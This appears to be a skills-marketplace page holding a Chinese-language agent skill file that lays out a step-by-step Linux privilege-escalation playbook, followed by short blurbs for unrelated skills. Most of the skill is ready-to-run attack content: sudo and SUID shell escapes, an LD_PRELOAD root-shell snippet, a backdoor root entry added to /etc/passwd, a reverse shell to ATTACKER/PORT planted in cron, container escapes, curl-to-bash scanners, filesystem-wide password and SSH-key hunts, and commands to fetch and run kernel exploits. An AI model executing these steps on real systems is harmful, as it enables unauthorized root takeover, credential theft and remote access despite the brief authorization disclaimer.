plugins/my-agents/skills/linux-privesc/SKILL.md
当用户提到 Linux 提权/本地提权/local privilege escalation/获取root权限/内核漏洞利用/LPE/SUID/sudo滥用/容器逃逸/权限提升检测; 或要求在Linux系统上从普通用户提升到root权限; 或查询CVE提权漏洞(如Dirty Pipe/CopyFail/Dirty Frag/PwnKit/Looney Tunables); 或需要安全加固建议时应使用此技能
npx skillsauth add phpmac/skills linux-privescInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
覆盖提权检测/内核漏洞利用/配置错误滥用/容器逃逸的完整参考. 按决策流程从快到慢分层, 优先最可靠路径.
使用前提: 仅在授权环境(CTF/渗透测试/安全研究/本人系统)下使用. 未经授权在他人系统上操作属于违法行为.
获得普通用户 shell 后按此顺序执行:
|
v
[1] sudo -l -------------- 有 NOPASSWD + GTFOBins命令? --> 直接 root
| `sudo -l` + `sudo <cmd> --help` (找GTFOBins匹配) (最快路径, 30秒)
[2] SUID 文件 ------------ 有可利用 SUID? ----------------> 直接 root
| `find / -perm -4000 -type f 2>/dev/null` (GTFOBins查询)
[3] Capabilities -------- cap_setuid/cap_dac_override? --> 直接 root
| `getcap -r / 2>/dev/null`
[4] 可写关键文件 -------- /etc/passwd/cron/配置文件可写? -> 直接 root
| `find / -writable ! -user $(whoami) -type f 2>/dev/null`
[5] Docker/LXD/NFS ----- docker组/lxd组/no_root_squash? -> root
| `find / -name docker.sock -writable 2>/dev/null`
| `id | grep lxd`
[6] 内核版本匹配 ------- 运行 linux-exploit-suggester
| `uname -r` + 对比下方版本表
| 优先级: CopyFail(最通用) > Dirty Frag > Fragnesia > PwnKit > Looney Tunables
| ZCRX(需特殊硬件, 6.20+未经backport仍受影响) > 7350pipe > Dirty Pipe(>=5.8) > Dirty COW(老内核)
v
[7] 密码/密钥搜索 ------ .bash_history/配置文件/SSH密钥/明文密码
| `grep -rnw / -ie "password" 2>/dev/null | head -50`
# LinPEAS - 最全面
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
# linux-exploit-suggester - 内核CVE匹配
curl -s https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash
# pspy - 无root监控进程
# 下载编译好的 pspy64 到目标机运行
# 系统
uname -r && cat /etc/os-release
# 权限
id && groups && sudo -l
# SUID
find / -perm -4000 -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# 定时任务
cat /etc/crontab && ls -la /etc/cron.*
# 可写文件
find / -writable ! -user $(whoami) -type f 2>/dev/null
# 网络
ss -tlnp && ip route
# 密码搜索
grep -rnw / -ie "password" 2>/dev/null | head -50
# SSH
find / -name id_rsa 2>/dev/null && find / -name authorized_keys 2>/dev/null
这些是最快路径, 无需编译, 无需内核漏洞.
sudo -l
# 对每个允许的命令查 https://gtfobins.github.io
| sudo配置 | 利用命令 |
|---|---|
| sudo vim | sudo vim -c ':!/bin/sh' |
| sudo find | sudo find . -exec /bin/sh \\; |
| sudo python3 | sudo python3 -c 'import os; os.execlp("sh","sh")' |
| sudo less | sudo less /etc/passwd -> !sh |
| sudo awk | sudo awk 'BEGIN {("/bin/sh")}' |
| sudo tar | sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
| sudo env | sudo env /bin/sh |
| sudo su | sudo su |
sudoedit 参数注入 (CVE-2023-22809):
SUDO_EDITOR="vim -- /etc/sudoers" sudoedit /etc/hosts
LD_PRELOAD 劫持 (当 env_keep+=LD_PRELOAD):
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
sudo LD_PRELOAD=/tmp/shell.so <允许的命令>
find / -perm -4000 -type f 2>/dev/null
# 每个结果查 GTFOBins
| SUID二进制 | 利用 |
|---|---|
| bash -p | 保留SUID权限 |
| find . -exec /bin/sh \\; | exec执行 |
| vim -c ':!/bin/sh' | vim内执行 |
| nmap --interactive -> !sh | 旧版nmap |
| python -c 'import os; os.setuid(0); os.execlp("sh","sh")' | Python setuid |
getcap -r / 2>/dev/null
| Capability | 利用 |
|---|---|
| cap_setuid+ep | python -c 'import os; os.setuid(0); os.execlp("sh","sh")' |
| cap_dac_override+ep | 可写入 /etc/passwd |
| cap_dac_read_search+ep | 可读 /etc/shadow |
# 可写 /etc/passwd - 添加root用户
openssl passwd -1 -salt 'hack' 'password123'
echo 'hacked:$1$hack$HASH:0:0::/root:/bin/bash' >> /etc/passwd
su hacked
# 可写cron脚本 - 写入反弹shell
echo 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1' >> /path/to/cron_script.sh
# cron通配符注入 (tar * 备份场景)
echo '' > "--checkpoint=1"
echo '' > "--checkpoint-action=exec=sh shell.sh"
# PATH劫持 (sudo脚本使用相对路径)
echo '/bin/sh' > /tmp/python && chmod +x /tmp/python && export PATH=/tmp:$PATH
# 前置检查: socket 可写 或 在 docker 组
find / -name docker.sock -writable 2>/dev/null
groups | grep docker
# 逃逸
docker run -it --rm -v /:/host alpine chroot /host /bin/sh
# 前置检查: 是否在 lxd 组
id | grep lxd
# 利用
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
chroot /mnt/root /bin/bash # 容器内
# 攻击机(需root)创建SUID二进制到NFS共享
mount -t nfs TARGET:/export /tmp/nfs -o rw
cp /bin/bash /tmp/nfs/bash && chmod +s /tmp/nfs/bash
# 目标机
./bash -p # root
详细漏洞信息在参考文件中. 使用前必读 references/kernel-exploits.md.
| 场景 (内核版本) | 推荐漏洞 | |---|---| | >= 6.15 + ZCRX网卡 + CAP_NET_ADMIN (6.20+ 未经backport仍受影响) | CVE-2026-43121 (ZCRX) | | 2017.8 起至 2026.3 (几乎所有内核, 包括6.17) | CVE-2026-31431 (CopyFail) -- 首选 | | Dirty Frag 已缓解 + 2026-05-13 补丁前 | CVE-2026-46300 (Fragnesia) -- ESP-in-TCP | | 4.14 - 6.12.x (CopyFail已缓解) | CVE-2026-43284/43500 (Dirty Frag) | | 2009-2021 几乎所有 | CVE-2021-4034 (PwnKit) | | glibc 2.35-2.38 | CVE-2023-4911 (Looney Tunables) | | >= 5.8 (需查子版本: 5.10<5.10.102/5.15<5.15.25/5.16<5.16.11 已修复) | CVE-2022-0847 (Dirty Pipe) | | 2.6.22 - 4.8 (老内核) | CVE-2016-5195 (Dirty COW) |
# 检测 (注意: algif_aead可能是内置模块, lsmod不显示不代表安全)
uname -r # 2017.8-2026.3 几乎所有内核受影响 (含6.17)
lsmod | grep algif_aead # 内置模块不显示, 仅参考
# 获取PoC
gh api repos/theori-io/copy-fail-CVE-2026-31431/contents/copy_fail_exp.py --jq '.content' | base64 -d
# 利用: 726字节纯Python, 零依赖, 100%成功率
# GitHub: https://github.com/theori-io/copy-fail-CVE-2026-31431
# 缓解 (防御用)
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null && reboot
# 检测
lsmod | grep -E "esp4|esp6|rxrpc"
uname -r
# PoC: https://github.com/V4bel/dirtyfrag
# 完全确定性的,无竞争
# 缓解 (防御用)
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2>/dev/null; reboot
# 检测 (与 Dirty Frag 同攻击面, 独立漏洞)
lsmod | grep -E "esp4|esp6|rxrpc"
uname -r # 2026-05-13 补丁前的内核受影响
# Ubuntu 注意: AppArmor 限制非特权用户命名空间
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
# 编译运行
git clone https://github.com/v12-security/pocs.git
cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
# 成功则自动 spawn root shell
# 清理 page-cache (离开前必做)
echo 1 | tee /proc/sys/vm/drop_caches
# PoC 本地备份: references/fragnesia.c
# 检测
which pkexec && pkexec --version
# 2009-2021系统几乎都受影响
# PoC: GitHub搜索 "CVE-2021-4034" 或 "PwnKit"
# 多种C/Python实现, 无需特殊权限
即时措施:
algif_aead, esp4, esp6, rxrpcCAP_NET_ADMIN 的分配sysctl -w kernel.unprivileged_userns_clone=0长期措施:
find / -perm -4000 -type f 审计apt update && apt upgrade / dnf update--privileged按需读取, 无需全部加载:
| 文件 | 内容 | 何时读取 |
|---|---|---|
| references/kernel-exploits.md | 10个内核CVE详细分析 | 步骤6需要某个具体CVE的细节 |
| references/fragnesia.c | CVE-2026-46300 Fragnesia PoC (~1300行 C) | Dirty Frag缓解后可用的独立漏洞 |
| references/page-cache-family.md | Page Cache漏洞家族演进 | 理解同范式漏洞的关联和检测思路 |
| 资源 | 链接 | |---|---| | GTFOBins (SUID/sudo查询) | https://gtfobins.github.io | | HackTricks Linux PrivEsc | https://hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html | | InternalAllTheThings | https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/ | | PEASS-ng (LinPEAS) | https://github.com/peass-ng/PEASS-ng | | linux-exploit-suggester | https://github.com/mzet-/linux-exploit-suggester | | pspy | https://github.com/DominicBreuker/pspy | | CopyFail/DirtyFrag 检测规则 (KQL) | https://github.com/SlimKQL/Detections.AI/blob/main/KQL/catch-them-if-you-can.kql | | 内核补丁指南 | https://github.com/nisten/linux-kernel-vulnerability-patching-guide | | CopyFail/DirtyFrag 技术讲解 (视频) | https://www.youtube.com/watch?v=8s9jaIPR7PU |
本技能仅供安全研究/渗透测试/CTF/防御检测参考. 在他人系统上未经授权使用属于违法行为. 生产环境加固前请评估模块黑名单的副作用 (如IPsec/RxRPC/AFS功能丧失).
tools
当用户要求 "计算仓位", "仓位管理", "止损比例", "凯利公式", "盈亏比", "资金管理", "半凯利", "反马丁格尔", "固定风险", "position sizing", "策略评估", "策略体检", "SQN", "夏普比率", "卡玛比率", "期望值", "获利因子", "MAE", "MFE", "R乘数", "索提诺", "蒙特卡洛", "样本外测试", "策略回测" 或需要计算合约交易的最优仓位/止损/资金分配/策略质量评估时应使用此技能. 覆盖仓位管理/策略评估/交易解剖/压力测试的完整框架. 即使用户只是提到 "这笔交易该下多少", "策略好不好", "复盘怎么算" 等模糊描述也应触发.
development
当用户要求 "提取API", "逆向APK", "分析APP接口", "提取业务端点", "React Native逆向", "Flutter逆向" 或需要从移动应用提取后端API信息时使用此技能. 覆盖APK解包/JS bundle分析/kernel_blob.bin分析/H5页面参数发现/Spring Boot API验证全流程. 支持React Native和Flutter两种框架.
research
当用户要求 "推荐VPS", "选服务器", "对比服务商", "建站VPS", "便宜VPS", "VPS推荐" 或需要研究/筛选/对比VPS服务商时应使用此技能. 从 hostloc/lowendtalk/lowendbox/测评站搜集真实评测数据, 交叉验证后给出可溯源排名.
data-ai
Unichain 生态项目浏览. 当用户需要查询 Unichain 生态项目/dApp/协议/按标签浏览/按状态筛选/搜索项目时使用.